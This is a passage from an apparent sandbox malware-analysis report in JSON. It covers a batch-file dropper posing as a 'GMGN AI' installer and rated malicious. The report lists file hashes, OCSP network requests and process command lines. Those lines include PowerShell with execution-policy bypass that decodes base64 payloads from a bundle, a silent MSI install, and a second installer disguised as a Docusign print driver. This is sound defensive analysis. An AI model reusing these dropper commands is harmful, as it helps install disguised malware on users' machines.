b779393fa56ce5f02251c8cbae5076a125fdea081f"},"File:43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382":{"type":"File","value":"43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382"},"File:4fb2e010d538045fd20724e8e2284c4cd5e5452e2484e592852600af53c4d31d":{"type":"File","value":"4fb2e010d538045fd20724e8e2284c4cd5e5452e2484e592852600af53c4d31d"},"File:548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1":{"type":"File","value":"548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1"},"File:54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3":{"type":"File","value":"54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3"},"File:55887a0c8c9800cb515f6deb9695ce793abee2d40c858cb4935a9b5d1299c8d5":{"type":"File","value":"55887a0c8c9800cb515f6deb9695ce793abee2d40c858cb4935a9b5d1299c8d5"},"File:6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7":{"type":"File","value":"6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7"},"File:8904b97a68ddfd63fb8f9b129e99f473ca00fc647a77d8e2c96d254bedda903d":{"type":"File","value":"8904b97a68ddfd63fb8f9b129e99f473ca00fc647a77d8e2c96d254bedda903d"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:96b9c6a4ff640b45c5b77ab30a742947bc30806d0d7f314afa1234e62a8c62e8":{"type":"File","value":"96b9c6a4ff640b45c5b77ab30a742947bc30806d0d7f314afa1234e62a8c62e8"},"File:9731cdec8bed46eea1b6730a48c228542a95316a9ff7469a4873dac3072dc918":{"type":"File","value":"9731cdec8bed46eea1b6730a48c228542a95316a9ff7469a4873dac3072dc918"},"File:985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e":{"type":"File","value":"985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e"},"File:9b7633571f696430d523435a44585317e54d01a4a98693d93424177050b91218":{"type":"File","value":"9b7633571f696430d523435a44585317e54d01a4a98693d93424177050b91218"},"File:9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8":{"type":"File","value":"9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8"},"File:9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db":{"type":"File","value":"9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db"},"File:a54433a3baf843c29d230436b3f56148ff2146aa4cfe5c2d3cd21aa4068fa60a":{"type":"File","value":"a54433a3baf843c29d230436b3f56148ff2146aa4cfe5c2d3cd21aa4068fa60a"},"File:ac473642f064e61f8e8213c24cfb755171e855c08bf2158ba4305bd2339d8f07":{"type":"File","value":"ac473642f064e61f8e8213c24cfb755171e855c08bf2158ba4305bd2339d8f07"},"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20":{"type":"File","value":"ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20"},"File:aecd2d2fe766f6d439acc2bbf1346930ecc535012cf5ad7b3273d2875237b7e7":{"type":"File","value":"aecd2d2fe766f6d439acc2bbf1346930ecc535012cf5ad7b3273d2875237b7e7"},"File:af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca":{"type":"File","value":"af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca"},"File:c21434a99e82f646152686100e96457661ed8f541fb4787ad68b955f89edcca7":{"type":"File","value":"c21434a99e82f646152686100e96457661ed8f541fb4787ad68b955f89edcca7"},"File:c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3":{"type":"File","value":"c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3"},"File:c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74":{"type":"File","value":"c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74"},"File:c8f361433837afe3ceb00d300e3b922fe5dd56365dade70e3187031166d8676e":{"type":"File","value":"c8f361433837afe3ceb00d300e3b922fe5dd56365dade70e3187031166d8676e"},"File:cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca":{"type":"File","value":"cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca"},"File:cfb4fb4c3aea07cd5d473ae9680076c65f5c2161b1f534282a4d87aed0c74e0c":{"type":"File","value":"cfb4fb4c3aea07cd5d473ae9680076c65f5c2161b1f534282a4d87aed0c74e0c"},"File:d74c4ae654c03e6b5990252f9ac44b7b608d65ad679876a36ec2f4c753817a92":{"type":"File","value":"d74c4ae654c03e6b5990252f9ac44b7b608d65ad679876a36ec2f4c753817a92"},"File:e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7":{"type":"File","value":"e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7"},"File:e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0":{"type":"File","value":"e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0"},"File:ed902044377ec7de0fafdd80836b7c6ff66a2f9b29b9782969b562a1054bd635":{"type":"File","value":"ed902044377ec7de0fafdd80836b7c6ff66a2f9b29b9782969b562a1054bd635"},"File:f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426":{"type":"File","value":"f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426"},"File:f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe":{"type":"File","value":"f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe"},"File:f469fa24a4d42937711a769493ad5ae9cb73cdbea1607284ccd0e6deba3618a7":{"type":"File","value":"f469fa24a4d42937711a769493ad5ae9cb73cdbea1607284ccd0e6deba3618a7"},"File:f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6":{"type":"File","value":"f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6"},"Ip:104.18.38.233":{"type":"Ip","value":"104.18.38.233"},"Url:/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D":{"type":"Url","value":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D"},"Url:/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck":{"type":"Url","value":"/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck"}},"chains":[{"id":"sandbox_network","root":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","edges":[{"edge_kind":"contacted_domain","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"Domain:ocsp.sectigo.com"},{"edge_kind":"resolves_to","from_key":"Domain:ocsp.sectigo.com","to_key":"Ip:104.18.38.233"},{"edge_kind":"contacted_url","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"Url:/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D"},{"edge_kind":"contacted_url","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"Url:/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","edges":[{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:a54433a3baf843c29d230436b3f56148ff2146aa4cfe5c2d3cd21aa4068fa60a"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:9b7633571f696430d523435a44585317e54d01a4a98693d93424177050b91218"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:f469fa24a4d42937711a769493ad5ae9cb73cdbea1607284ccd0e6deba3618a7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:2bea14d70943a42d344e09b7c9de5562fa7e109946e1c615dd584da30d06cc80"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:aecd2d2fe766f6d439acc2bbf1346930ecc535012cf5ad7b3273d2875237b7e7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:c8f361433837afe3ceb00d300e3b922fe5dd56365dade70e3187031166d8676e"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:9731cdec8bed46eea1b6730a48c228542a95316a9ff7469a4873dac3072dc918"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:d74c4ae654c03e6b5990252f9ac44b7b608d65ad679876a36ec2f4c753817a92"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:0290dd4b5df4def9eb233faff3c7f00c4a60ba94bba97c4c054015f378abe3a6"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:55887a0c8c9800cb515f6deb9695ce793abee2d40c858cb4935a9b5d1299c8d5"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:256615a912a8595edde2a32983485535f5ca21852ab289e1a4d3cf17978201bd"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:96b9c6a4ff640b45c5b77ab30a742947bc30806d0d7f314afa1234e62a8c62e8"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:8904b97a68ddfd63fb8f9b129e99f473ca00fc647a77d8e2c96d254bedda903d"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:ac473642f064e61f8e8213c24cfb755171e855c08bf2158ba4305bd2339d8f07"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:18b00c5f543350a94d144bb69143a97821e892a74dca501d0ba93c21dd539f7e"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:c21434a99e82f646152686100e96457661ed8f541fb4787ad68b955f89edcca7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:cfb4fb4c3aea07cd5d473ae9680076c65f5c2161b1f534282a4d87aed0c74e0c"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:ed902044377ec7de0fafdd80836b7c6ff66a2f9b29b9782969b562a1054bd635"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:4fb2e010d538045fd20724e8e2284c4cd5e5452e2484e592852600af53c4d31d"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7"},{"edge_kind":"extracted","from_key":"File:ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","to_key":"File:54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":20,"spawned_processes_count":20,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":100,"imported_dlls_count":163,"dropped_files_count":0,"extracted_files_count":43,"files_written_count":88,"files_deleted_count":0,"registry_keys_created_count":28,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":28,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6aee0f722b09f840790a66cd","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Agent.BTH","contacted_countries":["GBR"],"submit_name":"GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat","analysis_start_time":"2026-11-06T17:33:40+00:00","indicators_count":{"informative":259,"suspicious":80,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":[{"domain":"ocsp.sectigo.com","address":"104.18.38.233","ttl":3599,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"http_requests":[{"host":"ocsp.sectigo.com","host_ip":"172.64.149.23:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/10.0\nHost: ocsp.sectigo.com","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"host":"ocsp.sectigo.com","host_ip":"172.64.149.23:80","url":"/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/10.0\nHost: ocsp.sectigo.com","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}],"processes":[{"pid":4720,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat\" \"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00004720","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":1336,"ppid":4720,"name":"fltMC.exe","command_line":"","sha256":"20000b0a1588885c712fe7d9b2e3938fc64cafa47154ebf8e372455f142a676c","normalized_path":"%WINDIR%\\system32\\fltMC.exe","parent_uid":"00000000-00004720","uid":"00000000-00001336"},{"pid":6420,"ppid":4720,"name":"powershell.exe","command_line":"-NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))\"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004720","uid":"00000000-00006420"},{"pid":7528,"ppid":4720,"name":"powershell.exe","command_line":"-NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))\"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004720","uid":"00000000-00007528"},{"pid":2772,"ppid":4720,"name":"powershell.exe","command_line":"-NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}\"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004720","uid":"00000000-00002772"},{"pid":2268,"ppid":4720,"name":"msiexec.exe","command_line":"/i \"%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi\" /quiet /norestart /L*V \"%TEMP%\\SC_FeedbackTool-install.log\"","sha256":"d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb","normalized_path":"%WINDIR%\\system32\\msiexec.exe","parent_uid":"00000000-00004720","uid":"00000000-00002268"},{"pid":7120,"ppid":4720,"name":"SecondInstaller.exe","command_line":"","sha256":"7ad243cd358d916e029ba8ff9a616dfdcab29b594a9ebf08a66a1c4bd63fb7e2","normalized_path":"%TEMP%\\SC_FeedbackTool_107829898\\SecondInstaller.exe","parent_uid":"00000000-00004720","uid":"00000000-00007120"},{"pid":7008,"ppid":7120,"name":"SecondInstaller.exe","command_line":"-burn.clean.room=\"%TEMP%\\SC_FeedbackTool_107829898\\SecondInstaller.exe\" -burn.filehandle.attached=652 -burn.filehandle.self=648","sha256":"43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382","normalized_path":"%WINDIR%\\Temp\\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\\.cr\\SecondInstaller.exe","parent_uid":"00000000-00007120","uid":"00000000-00007008"},{"pid":7000,"ppid":7008,"name":"Docusign Print Driver x64.exe","command_line":"-q -burn.elevated BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55} {79BFC329-9435-43CE-988B-3DE45A84606E} 7008","sha256":"43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382","normalized_path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe","parent_uid":"00000000-00007008","uid":"00000000-00007000"},{"pid":3084,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00003084","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZv